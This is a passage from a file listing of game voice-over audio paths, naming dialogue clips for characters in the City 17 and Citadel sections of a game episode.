+vo/episode_1/c17/ba_defendcitizens06.wav +vo/episode_1/c17/ba_defendcitizens07.wav +vo/episode_1/c17/ba_doingok.wav +vo/episode_1/c17/ba_dontletmedown.wav +vo/episode_1/c17/ba_donttakelong.wav +vo/episode_1/c17/ba_finefettle.wav +vo/episode_1/c17/ba_followed01.wav +vo/episode_1/c17/ba_followed02.wav +vo/episode_1/c17/ba_followfreeman.wav +vo/episode_1/c17/ba_gettingaboard01.wav +vo/episode_1/c17/ba_gettingaboard02.wav +vo/episode_1/c17/ba_gettingaboard03.wav +vo/episode_1/c17/ba_gettingaboard04.wav +vo/episode_1/c17/ba_goacross.wav +vo/episode_1/c17/ba_goodjob.wav +vo/episode_1/c17/ba_gordoniknow.wav +vo/episode_1/c17/ba_greeting01.wav +vo/episode_1/c17/ba_greeting02.wav +vo/episode_1/c17/ba_greeting03.wav +vo/episode_1/c17/ba_greeting04.wav +vo/episode_1/c17/ba_groupready01.wav +vo/episode_1/c17/ba_groupready02.wav +vo/episode_1/c17/ba_groupready03.wav +vo/episode_1/c17/ba_groupready04.wav +vo/episode_1/c17/ba_guardpoint.wav +vo/episode_1/c17/ba_gunshipkill.wav +vo/episode_1/c17/ba_head4trains.wav +vo/episode_1/c17/ba_headfornext.wav +vo/episode_1/c17/ba_hellyeah.wav +vo/episode_1/c17/ba_herewego.wav +vo/episode_1/c17/ba_hightailstrider.wav +vo/episode_1/c17/ba_hurrytrain.wav +vo/episode_1/c17/ba_ifyousayso.wav +vo/episode_1/c17/ba_justaboutfull.wav +vo/episode_1/c17/ba_kiddingstrider.wav +vo/episode_1/c17/ba_killapc01.wav +vo/episode_1/c17/ba_killapc02.wav +vo/episode_1/c17/ba_killapc03.wav +vo/episode_1/c17/ba_killgunship01.wav +vo/episode_1/c17/ba_killgunship02.wav +vo/episode_1/c17/ba_killgunship03.wav +vo/episode_1/c17/ba_killgunship04.wav +vo/episode_1/c17/ba_killrpgsoldier01.wav +vo/episode_1/c17/ba_killrpgsoldier02.wav +vo/episode_1/c17/ba_killrpgsoldier03.wav +vo/episode_1/c17/ba_kneecapping.wav +vo/episode_1/c17/ba_knowevac.wav +vo/episode_1/c17/ba_laterseeyou.wav +vo/episode_1/c17/ba_luckydog.wav +vo/episode_1/c17/ba_makeapush01.wav +vo/episode_1/c17/ba_makeapush02.wav +vo/episode_1/c17/ba_moveemout.wav +vo/episode_1/c17/ba_nextyard.wav +vo/episode_1/c17/ba_nicework.wav +vo/episode_1/c17/ba_notrophy.wav +vo/episode_1/c17/ba_ohmanapc.wav +vo/episode_1/c17/ba_ohyeah01.wav +vo/episode_1/c17/ba_pressure.wav +vo/episode_1/c17/ba_runfortrains.wav +vo/episode_1/c17/ba_safepath01.wav +vo/episode_1/c17/ba_safepath02.wav +vo/episode_1/c17/ba_safepath03.wav +vo/episode_1/c17/ba_safepath04.wav +vo/episode_1/c17/ba_seeya.wav +vo/episode_1/c17/ba_seeyouatstation.wav +vo/episode_1/c17/ba_seeyououtthere.wav +vo/episode_1/c17/ba_sheswaiting.wav +vo/episode_1/c17/ba_soldierrpg.wav +vo/episode_1/c17/ba_sorryguys.wav +vo/episode_1/c17/ba_stayandpoint.wav +vo/episode_1/c17/ba_striderknees.wav +vo/episode_1/c17/ba_takedownstrider.wav +vo/episode_1/c17/ba_takeitdown.wav +vo/episode_1/c17/ba_takeoutapc.wav +vo/episode_1/c17/ba_tellemdoc.wav +vo/episode_1/c17/ba_thereyouare01.wav +vo/episode_1/c17/ba_thereyouare02.wav +vo/episode_1/c17/ba_tothetrains.wav +vo/episode_1/c17/ba_trainaboutfull.wav +vo/episode_1/c17/ba_trynottolose.wav +vo/episode_1/c17/ba_woo.wav +vo/episode_1/c17/ba_wrinkleship.wav +vo/episode_1/c17/ba_yeah01.wav +vo/episode_1/c17/ba_yougothim.wav +vo/episode_1/c17/ba_youguyscoming.wav +vo/episode_1/citadel/al_advisor_breen01.wav +vo/episode_1/citadel/al_advisor_breen02.wav +vo/episode_1/citadel/al_advisor_console.wav +vo/episode_1/citadel/al_advisor_findmap01.wav +vo/episode_1/citadel/al_advisor_findmap02.wav +vo/episode_1/citadel/al_advisor_getaway.wav +vo/episode_1/citadel/al_advisor_gonenow01.wav +vo/episode_1/citadel/al_advisor_gonenow02.wav +vo/episode_1/citadel/al_advisor_oldrecording.wav +vo/episode_1/citadel/al_advisor_outofhere.wav +vo/episode_1/citadel/al_advisor_outofthere.wav +vo/episode_1/citadel/al_advisor_pain01.wav +vo/episode_1/citadel/al_advisor_pain02.wav +vo/episode_1/citadel/al_advisor_pain03.wav +vo/episode_1/citadel/al_advisor_pain04.wav +vo/episode_1/citadel/al_advisor_pain05.wav +vo/episode_1/citadel/al_advisor_pain06.wav +vo/episode_1/citadel/al_advisor_pinpath.wav +vo/episode_1/citadel/al_advisor_podthings.wav +vo/episode_1/citadel/al_advisor_shaking01.wav +vo/episode_1/citadel/al_advisor_shaking02.wav +vo/episode_1/citadel/al_advisor_wasthatthing.wav +vo/episode_1/citadel/al_advisor_weirdpain01.wav +vo/episode_1/citadel/al_advisor_weirdpain02.wav +vo/episode_1/citadel/al_advisor_weneedtotogetout.wav +vo/episode_1/citadel/al_advisor_whathell.wav +vo/episode_1/citadel/al_advisor_whatisthisplace.wav +vo/episode_1/citadel/al_advisor_whatwenton.wav +vo/episode_1/citadel/al_apartatseams.wav +vo/episode_1/citadel/al_backtrack.wav +vo/episode_1/citadel/al_backtrack01.wav +vo/episode_1/citadel/al_backtrack02.wav +vo/episode_1/citadel/al_beenthisway.wav +vo/episode_1/citadel/al_berightthere.wav +vo/episode_1/citadel/al_bettercapture.wav +vo/episode_1/citadel/al_betterthancargo.wav +vo/episode_1/citadel/al_block_canyoumovethat.wav +vo/episode_1/citadel/al_block_comeon.wav +vo/episode_1/citadel/al_block_getthru.wav +vo/episode_1/citadel/al_block_movedebris.wav +vo/episode_1/citadel/al_block_onlypath.wav +vo/episode_1/citadel/al_boughtmorehours.wav +vo/episode_1/citadel/al_bridgeout.wav +vo/episode_1/citadel/al_bridge_company.wav +vo/episode_1/citadel/al_bridge_getacross.wav +vo/episode_1/citadel/al_bridge_nicethinking.wav +vo/episode_1/citadel/al_bridge_noidea.wav +vo/episode_1/citadel/al_bridge_pupil01.wav +vo/episode_1/citadel/al_bridge_pupil02.wav +vo/episode_1/citadel/al_bridge_sneak.wav +vo/episode_1/citadel/al_bridge_soldiers.wav +vo/episode_1/citadel/al_cantwait.wav +vo/episode_1/citadel/al_cantwastetime.wav +vo/episode_1/citadel/al_carefulgord.wav +vo/episode_1/citadel/al_cargoplat.wav +vo/episode_1/citadel/al_carlooksempty.wav +vo/episode_1/citadel/al_cavein.wav +vo/episode_1/citadel/al_citvista_coredownthere.wav +vo/episode_1/citadel/al_citvista_glad.wav +vo/episode_1/citadel/al_citvista_lasttime01.wav +vo/episode_1/citadel/al_citvista_lasttime02.wav +vo/episode_1/citadel/al_citvista_noidea01.wav +vo/episode_1/citadel/al_citvista_noidea02.wav +vo/episode_1/citadel/al_citvista_whatdrop.wav +vo/episode_1/citadel/al_cit_blocked.wav +vo/episode_1/citadel/al_cit_wishformap01.wav +vo/episode_1/citadel/al_cit_wishformap02.wav +vo/episode_1/citadel/al_comingapart_01.wav +vo/episode_1/citadel/al_comingapart_02.wav +vo/episode_1/citadel/al_control_heresyourelevator01.wav +vo/episode_1/citadel/al_control_heresyourelevator02.wav +vo/episode_1/citadel/al_control_levels01.wav +vo/episode_1/citadel/al_control_levels02.wav +vo/episode_1/citadel/al_control_levels03.wav +vo/episode_1/citadel/al_coreahead.wav +vo/episode_1/citadel/al_core_blowreactor01.wav +vo/episode_1/citadel/al_core_blowreactor02.wav +vo/episode_1/citadel/al_core_cantgetclear01.wav +vo/episode_1/citadel/al_core_cantgetclear02.wav +vo/episode_1/citadel/al_core_cantgetclear03.wav +vo/episode_1/citadel/al_core_controlcrazy01.wav +vo/episode_1/citadel/al_core_controlcrazy02.wav +vo/episode_1/citadel/al_core_controlcrazy03.wav +vo/episode_1/citadel/al_core_couldbeit01.wav +vo/episode_1/citadel/al_core_couldbeit02.wav +vo/episode_1/citadel/al_core_fargone01.wav +vo/episode_1/citadel/al_core_fargone02.wav +vo/episode_1/citadel/al_core_fargone03.wav +vo/episode_1/citadel/al_core_hellitsjudith01.wav +vo/episode_1/citadel/al_core_hellitsjudith02.wav +vo/episode_1/citadel/al_core_herecomeslift01.wav +vo/episode_1/citadel/al_core_herecomeslift02.wav +vo/episode_1/citadel/al_core_herecomeslift03.wav +vo/episode_1/citadel/al_core_inthrucontrolroom.wav +vo/episode_1/citadel/al_core_letsgo.wav +vo/episode_1/citadel/al_core_liftlocked.wav +vo/episode_1/citadel/al_core_parting.wav +vo/episode_1/citadel/al_core_saybye01.wav +vo/episode_1/citadel/al_core_saybye02.wav +vo/episode_1/citadel/al_creep.wav +vo/episode_1/citadel/al_crumbling.wav +vo/episode_1/citadel/al_damn01.wav +vo/episode_1/citadel/al_dampenereffect.wav +vo/episode_1/citadel/al_deadend.wav +vo/episode_1/citadel/al_deadoffeasy01.wav +vo/episode_1/citadel/al_deadoffeasy02.wav +vo/episode_1/citadel/al_doorhacks01a.wav +vo/episode_1/citadel/al_doorhacks01b.wav +vo/episode_1/citadel/al_doorhacks02a.wav +vo/episode_1/citadel/al_doorhacks02b.wav +vo/episode_1/citadel/al_doorhacks03a.wav +vo/episode_1/citadel/al_doorhacks03b.wav +vo/episode_1/citadel/al_dropship_didyouseethat.wav +vo/episode_1/citadel/al_dropship_getback01.wav +vo/episode_1/citadel/al_dropship_getback02.wav +vo/episode_1/citadel/al_dropship_getback03.wav +vo/episode_1/citadel/al_dropship_getback04.wav +vo/episode_1/citadel/al_dropship_getback05.wav +vo/episode_1/citadel/al_dropship_getback06.wav +vo/episode_1/citadel/al_dropship_getback07.wav +vo/episode_1/citadel/al_dropship_whoa.wav +vo/episode_1/citadel/al_eliteposts.wav +vo/episode_1/citadel/al_everythingsame.wav +vo/episode_1/citadel/al_excelletsgo.wav +vo/episode_1/citadel/al_exhale01.wav +vo/episode_1/citadel/al_findterminal.wav +vo/episode_1/citadel/al_firststage.wav +vo/episode_1/citadel/al_getbarrier.wav +vo/episode_1/citadel/al_getstarted.wav +vo/episode_1/citadel/al_getthruhere01.wav +vo/episode_1/citadel/al_getthruhere02.wav +vo/episode_1/citadel/al_gettocoresoon01.wav +vo/episode_1/citadel/al_gettocoresoon02.wav +vo/episode_1/citadel/al_givemeroller.wav +vo/episode_1/citadel/al_gointocore.wav +vo/episode_1/citadel/al_goodletsgo01.wav +vo/episode_1/citadel/al_goodletsgo02.wav +vo/episode_1/citadel/al_goodluck.wav +vo/episode_1/citadel/al_goodthinking01.wav +vo/episode_1/citadel/al_gottocross.wav +vo/episode_1/citadel/al_gottogettocore.wav +vo/episode_1/citadel/al_gotwhatineeded.wav +vo/episode_1/citadel/al_gotwhatineeded01.wav +vo/episode_1/citadel/al_gotwhatineeded02.wav +vo/episode_1/citadel/al_grabroll01.wav +vo/episode_1/citadel/al_grabroll02.wav +vo/episode_1/citadel/al_grabroll03.wav +vo/episode_1/citadel/al_gravcharge_anotherconsole01.wav +vo/episode_1/citadel/al_gravcharge_anotherconsole02.wav +vo/episode_1/citadel/al_gravcharge_explo.wav +vo/episode_1/citadel/al_gravcharge_keepmoving.wav +vo/episode_1/citadel/al_gravcharge_onourpath.wav +vo/episode_1/citadel/al_gravcharge_thing.wav +vo/episode_1/citadel/al_gravgunlosingpower.wav +vo/episode_1/citadel/al_gravgunlosingpower01.wav +vo/episode_1/citadel/al_gravgunlosingpower02.wav +vo/episode_1/citadel/al_gravgunlosingpower03.wav +vo/episode_1/citadel/al_gravgunlosingpower04.wav +vo/episode_1/citadel/al_gravgunpowerdown.wav +vo/episode_1/citadel/al_gravgun_backfire.wav +vo/episode_1/citadel/al_gravgun_doingsomething.wav +vo/episode_1/citadel/al_gravgun_handy.wav +vo/episode_1/citadel/al_gravgun_lookatthat.wav +vo/episode_1/citadel/al_gravgun_supercharge.wav +vo/episode_1/citadel/al_harness.wav +vo/episode_1/citadel/al_harness01.wav +vo/episode_1/citadel/al_harness02.wav +vo/episode_1/citadel/al_harness03.wav +vo/episode_1/citadel/al_hatetothink.wav +vo/episode_1/citadel/al_heatupsoon.wav +vo/episode_1/citadel/al_hereslift.wav +vo/episode_1/citadel/al_holdingotherside.wav +vo/episode_1/citadel/al_hoponlift.wav +vo/episode_1/citadel/al_hurrygord01.wav +vo/episode_1/citadel/al_idontgetit.wav +vo/episode_1/citadel/al_idontgetit01.wav +vo/episode_1/citadel/al_idontgetit02.wav +vo/episode_1/citadel/al_ifonlybridgepower.wav +vo/episode_1/citadel/al_ihearturrets.wav +vo/episode_1/citadel/al_illfigurethisout.wav +vo/episode_1/citadel/al_itsgone.wav +vo/episode_1/citadel/al_itsjudith.wav +vo/episode_1/citadel/al_itsthisway.wav +vo/episode_1/citadel/al_itsthiswaygordon.wav +vo/episode_1/citadel/al_itsus.wav +vo/episode_1/citadel/al_itsworking.wav +vo/episode_1/citadel/al_keytounlock.wav +vo/episode_1/citadel/al_kickintohall.wav +vo/episode_1/citadel/al_lemmethink.wav +vo/episode_1/citadel/al_letmegetaccess.wav +vo/episode_1/citadel/al_letsfigureout.wav +vo/episode_1/citadel/al_letsgo01.wav +vo/episode_1/citadel/al_letstrythisway.wav +vo/episode_1/citadel/al_lift_close.wav +vo/episode_1/citadel/al_lift_exposed.wav +vo/episode_1/citadel/al_lift_getitgoing.wav +vo/episode_1/citadel/al_lift_getmoving.wav +vo/episode_1/citadel/al_lift_getoff.wav +vo/episode_1/citadel/al_lift_great.wav +vo/episode_1/citadel/al_lift_great01.wav +vo/episode_1/citadel/al_lift_herewego.wav +vo/episode_1/citadel/al_lift_laststop.wav +vo/episode_1/citadel/al_lift_last_lookout01.wav +vo/episode_1/citadel/al_lift_last_lookout02.wav +vo/episode_1/citadel/al_lift_last_lookup01.wav +vo/episode_1/citadel/al_lift_last_lookup02.wav +vo/episode_1/citadel/al_lift_last_upthere01.wav +vo/episode_1/citadel/al_lift_last_upthere02.wav +vo/episode_1/citadel/al_lift_letsgetoff.wav +vo/episode_1/citadel/al_lift_moving.wav +vo/episode_1/citadel/al_lift_nearmiss01.wav +vo/episode_1/citadel/al_lift_nearmiss02.wav +vo/episode_1/citadel/al_lift_nearmiss03.wav +vo/episode_1/citadel/al_lift_nearmiss04.wav +vo/episode_1/citadel/al_lift_nearmiss05.wav +vo/episode_1/citadel/al_lift_powerout.wav +vo/episode_1/citadel/al_lift_righttrack.wav +vo/episode_1/citadel/al_lift_run.wav +vo/episode_1/citadel/al_lift_stalkerdoing01.wav +vo/episode_1/citadel/al_lift_stalkerdoing02.wav +vo/episode_1/citadel/al_lift_stalkertough.wav +vo/episode_1/citadel/al_lift_stall01.wav +vo/episode_1/citadel/al_lift_stall02.wav +vo/episode_1/citadel/al_lift_stall03.wav +vo/episode_1/citadel/al_lift_stall04.wav +vo/episode_1/citadel/al_lift_stall05.wav +vo/episode_1/citadel/al_lift_stalled.wav +vo/episode_1/citadel/al_lift_startagain.wav +vo/episode_1/citadel/al_lift_stop.wav +vo/episode_1/citadel/al_lift_tocore.wav +vo/episode_1/citadel/al_lift_tocore_new.wav +vo/episode_1/citadel/al_lift_tryagain.wav +vo/episode_1/citadel/al_lift_tryagaingord.wav +vo/episode_1/citadel/al_lift_vulnerable.wav +vo/episode_1/citadel/al_lift_warns01.wav +vo/episode_1/citadel/al_lift_warns02.wav +vo/episode_1/citadel/al_lift_warns03.wav +vo/episode_1/citadel/al_lift_warns04.wav +vo/episode_1/citadel/al_lift_warns05.wav +vo/episode_1/citadel/al_lift_warns06.wav +vo/episode_1/citadel/al_lift_warns07.wav +vo/episode_1/citadel/al_lift_warns08.wav +vo/episode_1/citadel/al_lift_warns09.wav +vo/episode_1/citadel/al_lift_warns10.wav +vo/episode_1/citadel/al_lift_warns11.wav +vo/episode_1/citadel/al_lift_warns12.wav +vo/episode_1/citadel/al_lift_warns13.wav +vo/episode_1/citadel/al_lift_warns14.wav +vo/episode_1/citadel/al_lift_watchout.wav +vo/episode_1/citadel/al_lift_whatsgoingon.wav +vo/episode_1/citadel/al_lift_whatswrong01.wav +vo/episode_1/citadel/al_lift_whatswrong02.wav +vo/episode_1/citadel/al_lookatgravgun.wav +vo/episode_1/citadel/al_lookatsize.wav +vo/episode_1/citadel/al_lookatthem.wav +vo/episode_1/citadel/al_morerollers.wav +vo/episode_1/citadel/al_moretime.wav +vo/episode_1/citadel/al_mostwanted.wav +vo/episode_1/citadel/al_mustbeit.wav +vo/episode_1/citadel/al_nag_keepmoving01.wav +vo/episode_1/citadel/al_nag_keepmoving02.wav +vo/episode_1/citadel/al_nag_keepmoving03.wav +vo/episode_1/citadel/al_nag_stalkcar01.wav +vo/episode_1/citadel/al_nag_stalkcar02.wav +vo/episode_1/citadel/al_noelevator.wav +vo/episode_1/citadel/al_noelevator01.wav +vo/episode_1/citadel/al_noelevator02.wav +vo/episode_1/citadel/al_noelevator03.wav +vo/episode_1/citadel/al_nothangaround.wav +vo/episode_1/citadel/al_nothangaround01.wav +vo/episode_1/citadel/al_nothangaround02.wav +vo/episode_1/citadel/al_notimetodealwiththis01.wav +vo/episode_1/citadel/al_notimetodealwiththis02.wav +vo/episode_1/citadel/al_offscale.wav +vo/episode_1/citadel/al_okletsgo01.wav +vo/episode_1/citadel/al_onfoot.wav +vo/episode_1/citadel/al_onlywayiknow01.wav +vo/episode_1/citadel/al_onlywayiknow02.wav +vo/episode_1/citadel/al_onlywaytocore.wav +vo/episode_1/citadel/al_outcontact.wav +vo/episode_1/citadel/al_outofbullets.wav +vo/episode_1/citadel/al_placecomingapart01.wav +vo/episode_1/citadel/al_placecomingapart02.wav +vo/episode_1/citadel/al_platform_coast.wav +vo/episode_1/citadel/al_platform_comeon.wav +vo/episode_1/citadel/al_platform_company.wav +vo/episode_1/citadel/al_platform_getaway.wav +vo/episode_1/citadel/al_platform_getin.wav +vo/episode_1/citadel/al_platform_getingordon.wav +vo/episode_1/citadel/al_platform_getready.wav +vo/episode_1/citadel/al_platform_heretheycome.wav +vo/episode_1/citadel/al_platform_hurry.wav +vo/episode_1/citadel/al_platform_lookatem.wav +vo/episode_1/citadel/al_platform_rollers.wav +vo/episode_1/citadel/al_platform_slowthem01.wav +vo/episode_1/citadel/al_platform_slowthem02.wav +vo/episode_1/citadel/al_platform_taketrain01.wav +vo/episode_1/citadel/al_platform_taketrain02.wav +vo/episode_1/citadel/al_platform_theyknow01.wav +vo/episode_1/citadel/al_platform_theyknow02.wav +vo/episode_1/citadel/al_platform_wontexpect.wav +vo/episode_1/citadel/al_podpull_01.wav +vo/episode_1/citadel/al_podpull_02.wav +vo/episode_1/citadel/al_podpull_03.wav +vo/episode_1/citadel/al_pod_lookout.wav +vo/episode_1/citadel/al_postcore_atwindow01.wav +vo/episode_1/citadel/al_postcore_atwindow02.wav +vo/episode_1/citadel/al_postcore_atwindow03.wav +vo/episode_1/citadel/al_postcore_atwindow04.wav +vo/episode_1/citadel/al_postcore_atwindow05.wav +vo/episode_1/citadel/al_postcore_atwindow06.wav +vo/episode_1/citadel/al_postcore_atwindow_new02.wav +vo/episode_1/citadel/al_postcore_atwindow_new03.wav +vo/episode_1/citadel/al_postcore_atwindow_new04.wav +vo/episode_1/citadel/al_postcore_atwindow_new05.wav +vo/episode_1/citadel/al_postcore_downloaddone01.wav +vo/episode_1/citadel/al_postcore_downloaddone02.wav +vo/episode_1/citadel/al_postcore_downloaddone03.wav +vo/episode_1/citadel/al_postcore_exitelev01.wav +vo/episode_1/citadel/al_postcore_exitelev02.wav +vo/episode_1/citadel/al_postcore_exitelev03.wav +vo/episode_1/citadel/al_postcore_feltthat01.wav +vo/episode_1/citadel/al_postcore_feltthat02.wav +vo/episode_1/citadel/al_postcore_feltthat03.wav +vo/episode_1/citadel/al_postcore_follow.wav +vo/episode_1/citadel/al_postcore_getin.wav +vo/episode_1/citadel/al_postcore_gravgun01.wav +vo/episode_1/citadel/al_postcore_gravgun02.wav +vo/episode_1/citadel/al_postcore_hardpartover.wav +vo/episode_1/citadel/al_postcore_hitch01.wav +vo/episode_1/citadel/al_postcore_hitch02.wav +vo/episode_1/citadel/al_postcore_hurry01.wav +vo/episode_1/citadel/al_postcore_hurry02.wav +vo/episode_1/citadel/al_postcore_hurry03.wav +vo/episode_1/citadel/al_postcore_hurry04.wav +vo/episode_1/citadel/al_postcore_mail.wav +vo/episode_1/citadel/al_postcore_meanwhile.wav +vo/episode_1/citadel/al_postcore_route.wav +vo/episode_1/citadel/al_postcore_sideeffect01.wav +vo/episode_1/citadel/al_postcore_sideeffect02.wav +vo/episode_1/citadel/al_postcore_sideeffect03.wav +vo/episode_1/citadel/al_postcore_sideeffect04.wav +vo/episode_1/citadel/al_postcore_sideeffect05.wav +vo/episode_1/citadel/al_postcore_sideeffect06.wav +vo/episode_1/citadel/al_postcore_sideeffect07.wav +vo/episode_1/citadel/al_postcore_sideeffect08.wav +vo/episode_1/citadel/al_postcore_sideeffect09.wav +vo/episode_1/citadel/al_postcore_something.wav +vo/episode_1/citadel/al_postcore_takealook01.wav +vo/episode_1/citadel/al_postcore_takealook02.wav +vo/episode_1/citadel/al_postcore_trainrunning01.wav +vo/episode_1/citadel/al_postcore_trainrunning02.wav +vo/episode_1/citadel/al_postcore_trouble01.wav +vo/episode_1/citadel/al_postcore_trouble02.wav +vo/episode_1/citadel/al_postcore_trouble03.wav +vo/episode_1/citadel/al_postcore_whereisshe.wav +vo/episode_1/citadel/al_powerball01.wav +vo/episode_1/citadel/al_powerball02.wav +vo/episode_1/citadel/al_powertobridge.wav +vo/episode_1/citadel/al_pushitout.wav +vo/episode_1/citadel/al_random01.wav +vo/episode_1/citadel/al_random02.wav +vo/episode_1/citadel/al_remindsmeofnp01.wav +vo/episode_1/citadel/al_remindsmeofnp02.wav +vo/episode_1/citadel/al_right.wav +vo/episode_1/citadel/al_rolleragain.wav +vo/episode_1/citadel/al_roller_cantinterrupt01.wav +vo/episode_1/citadel/al_roller_cantinterrupt02.wav +vo/episode_1/citadel/al_roller_cantinterrupt03.wav +vo/episode_1/citadel/al_roller_cantinterrupt04.wav +vo/episode_1/citadel/al_roller_cantinterrupt05.wav +vo/episode_1/citadel/al_roll_bring.wav +vo/episode_1/citadel/al_roll_getthisopen.wav +vo/episode_1/citadel/al_roll_grab01.wav +vo/episode_1/citadel/al_roll_gravgun.wav +vo/episode_1/citadel/al_roll_guardoutthere.wav +vo/episode_1/citadel/al_roll_holdout01.wav +vo/episode_1/citadel/al_roll_holdout02.wav +vo/episode_1/citadel/al_roll_icanhack.wav +vo/episode_1/citadel/al_roll_letgo01.wav +vo/episode_1/citadel/al_roll_letssee.wav +vo/episode_1/citadel/al_roll_shortlive.wav +vo/episode_1/citadel/al_roll_steady01.wav +vo/episode_1/citadel/al_roll_thinking.wav +vo/episode_1/citadel/al_safeforme.wav +vo/episode_1/citadel/al_safeforme01.wav +vo/episode_1/citadel/al_safeforme02.wav +vo/episode_1/citadel/al_safetillheats.wav +vo/episode_1/citadel/al_sameaslast_bridge.wav +vo/episode_1/citadel/al_sameideaasus.wav +vo/episode_1/citadel/al_seewhaticanget.wav +vo/episode_1/citadel/al_shallwe.wav +vo/episode_1/citadel/al_shotathacking.wav +vo/episode_1/citadel/al_shutitoff.wav +vo/episode_1/citadel/al_soldiersbusy.wav +vo/episode_1/citadel/al_stabilize.wav +vo/episode_1/citadel/al_stalk1_alloversoon.wav +vo/episode_1/citadel/al_stalk1_keepmoving.wav +vo/episode_1/citadel/al_stalk1_omg.wav +vo/episode_1/citadel/al_stalk1_poorsouls.wav +vo/episode_1/citadel/al_stalkcar_download01.wav +vo/episode_1/citadel/al_stalkcar_download02.wav +vo/episode_1/citadel/al_stalkcar_download03.wav +vo/episode_1/citadel/al_stalkcar_download04.wav +vo/episode_1/citadel/al_stalkcar_yougoahead.wav +vo/episode_1/citadel/al_stalkdestroy.wav +vo/episode_1/citadel/al_stalkeromg.wav +vo/episode_1/citadel/al_stalkersagain.wav +vo/episode_1/citadel/al_stalkers_anotherway01.wav +vo/episode_1/citadel/al_stalkers_anotherway02.wav +vo/episode_1/citadel/al_stalkers_disable01.wav +vo/episode_1/citadel/al_stalkers_disable02.wav +vo/episode_1/citadel/al_stalkers_disable03.wav +vo/episode_1/citadel/al_stalkers_disable04.wav +vo/episode_1/citadel/al_stalkers_disable05.wav +vo/episode_1/citadel/al_stalkers_fielddown01.wav +vo/episode_1/citadel/al_stalkers_fielddown02.wav +vo/episode_1/citadel/al_stalkers_findmeone.wav +vo/episode_1/citadel/al_stalkers_findroller.wav +vo/episode_1/citadel/al_stalkers_getthrunow01.wav +vo/episode_1/citadel/al_stalkers_getthrunow02.wav +vo/episode_1/citadel/al_stalkers_good01.wav +vo/episode_1/citadel/al_stalkers_good02.wav +vo/episode_1/citadel/al_stalkers_hm01.wav +vo/episode_1/citadel/al_stalkers_hm02.wav +vo/episode_1/citadel/al_stalkers_holditout.wav +vo/episode_1/citadel/al_stalkers_idea01.wav +vo/episode_1/citadel/al_stalkers_idea02.wav +vo/episode_1/citadel/al_stalkers_letitgo01.wav +vo/episode_1/citadel/al_stalkers_letitgo02.wav +vo/episode_1/citadel/al_stalkers_omg01.wav +vo/episode_1/citadel/al_stalkers_omg02.wav +vo/episode_1/citadel/al_stalkers_pitchit.wav +vo/episode_1/citadel/al_stalkers_reason.wav +vo/episode_1/citadel/al_stalkers_thereitis.wav +vo/episode_1/citadel/al_stalkers_trick01.wav +vo/episode_1/citadel/al_stalkers_trick02.wav +vo/episode_1/citadel/al_stalkers_trick03.wav +vo/episode_1/citadel/al_stalkers_trick04.wav +vo/episode_1/citadel/al_stalkers_trick05.wav +vo/episode_1/citadel/al_stalker_gasp.wav +vo/episode_1/citadel/al_stalk_brace.wav +vo/episode_1/citadel/al_stalk_breath01.wav +vo/episode_1/citadel/al_stalk_breath02.wav +vo/episode_1/citadel/al_stalk_breath03.wav +vo/episode_1/citadel/al_stalk_breath04.wav +vo/episode_1/citadel/al_stalk_coveritup.wav +vo/episode_1/citadel/al_stalk_crushed01.wav +vo/episode_1/citadel/al_stalk_crushed02.wav +vo/episode_1/citadel/al_stalk_derail_omg.wav +vo/episode_1/citadel/al_stalk_getemoff01.wav +vo/episode_1/citadel/al_stalk_getemoff02.wav +vo/episode_1/citadel/al_stalk_getemoff03.wav +vo/episode_1/citadel/al_stalk_getemoff04.wav +vo/episode_1/citadel/al_stalk_getemoff05.wav +vo/episode_1/citadel/al_stalk_getemoff06.wav +vo/episode_1/citadel/al_stalk_getemoff07.wav +vo/episode_1/citadel/al_stalk_getemoff08.wav +vo/episode_1/citadel/al_stalk_getemoff09.wav +vo/episode_1/citadel/al_stalk_getemoff10.wav +vo/episode_1/citadel/al_stalk_getemoff11.wav +vo/episode_1/citadel/al_stalk_godogod01.wav +vo/episode_1/citadel/al_stalk_godogod02.wav +vo/episode_1/citadel/al_stalk_hitit.wav +vo/episode_1/citadel/al_stalk_hopeyoudontremember.wav +vo/episode_1/citadel/al_stalk_itsmoving.wav +vo/episode_1/citadel/al_stalk_letsgetout.wav +vo/episode_1/citadel/al_stalk_lookatthem01.wav +vo/episode_1/citadel/al_stalk_lookatthem02.wav +vo/episode_1/citadel/al_stalk_lookatthem03.wav +vo/episode_1/citadel/al_stalk_makestop01.wav +vo/episode_1/citadel/al_stalk_makestop02.wav +vo/episode_1/citadel/al_stalk_makestop03.wav +vo/episode_1/citadel/al_stalk_notalone.wav +vo/episode_1/citadel/al_stalk_ohno.wav +vo/episode_1/citadel/al_stalk_ohnostalkercar01.wav +vo/episode_1/citadel/al_stalk_ohnostalkercar02.wav +vo/episode_1/citadel/al_stalk_okclear.wav +vo/episode_1/citadel/al_stalk_okletsgetoutofhere01.wav +vo/episode_1/citadel/al_stalk_okletsgetoutofhere02.wav +vo/episode_1/citadel/al_stalk_okletsgetoutofhere03.wav +vo/episode_1/citadel/al_stalk_pleasestopscreaming01.wav +vo/episode_1/citadel/al_stalk_pleasestopscreaming02.wav +vo/episode_1/citadel/al_stalk_pleasestopscreaming03.wav +vo/episode_1/citadel/al_stalk_pleasestopscreaming04.wav +vo/episode_1/citadel/al_stalk_pleasestopscreaming05.wav +vo/episode_1/citadel/al_stalk_pull.wav +vo/episode_1/citadel/al_stalk_savedourlives.wav +vo/episode_1/citadel/al_stalk_seewhereheaded01.wav +vo/episode_1/citadel/al_stalk_seewhereheaded02.wav +vo/episode_1/citadel/al_stalk_seewhereheaded03.wav +vo/episode_1/citadel/al_stalk_story01.wav +vo/episode_1/citadel/al_stalk_story02.wav +vo/episode_1/citadel/al_stalk_story03.wav +vo/episode_1/citadel/al_stalk_story04.wav +vo/episode_1/citadel/al_stalk_story05.wav +vo/episode_1/citadel/al_stalk_story06.wav +vo/episode_1/citadel/al_stalk_straightout01.wav +vo/episode_1/citadel/al_stalk_straightout02.wav +vo/episode_1/citadel/al_stalk_straightout03.wav +vo/episode_1/citadel/al_stalk_thanks.wav +vo/episode_1/citadel/al_stalk_thereitgoes.wav +vo/episode_1/citadel/al_stalk_train.wav +vo/episode_1/citadel/al_stalk_train01.wav +vo/episode_1/citadel/al_stalk_train02.wav +vo/episode_1/citadel/al_stalk_train03.wav +vo/episode_1/citadel/al_stalk_trygravgun01.wav +vo/episode_1/citadel/al_stalk_trygravgun02.wav +vo/episode_1/citadel/al_stalk_volunteer02.wav +vo/episode_1/citadel/al_stalk_volunteer_mild01.wav +vo/episode_1/citadel/al_stalk_volunteer_mild02.wav +vo/episode_1/citadel/al_stalk_whatsthat.wav 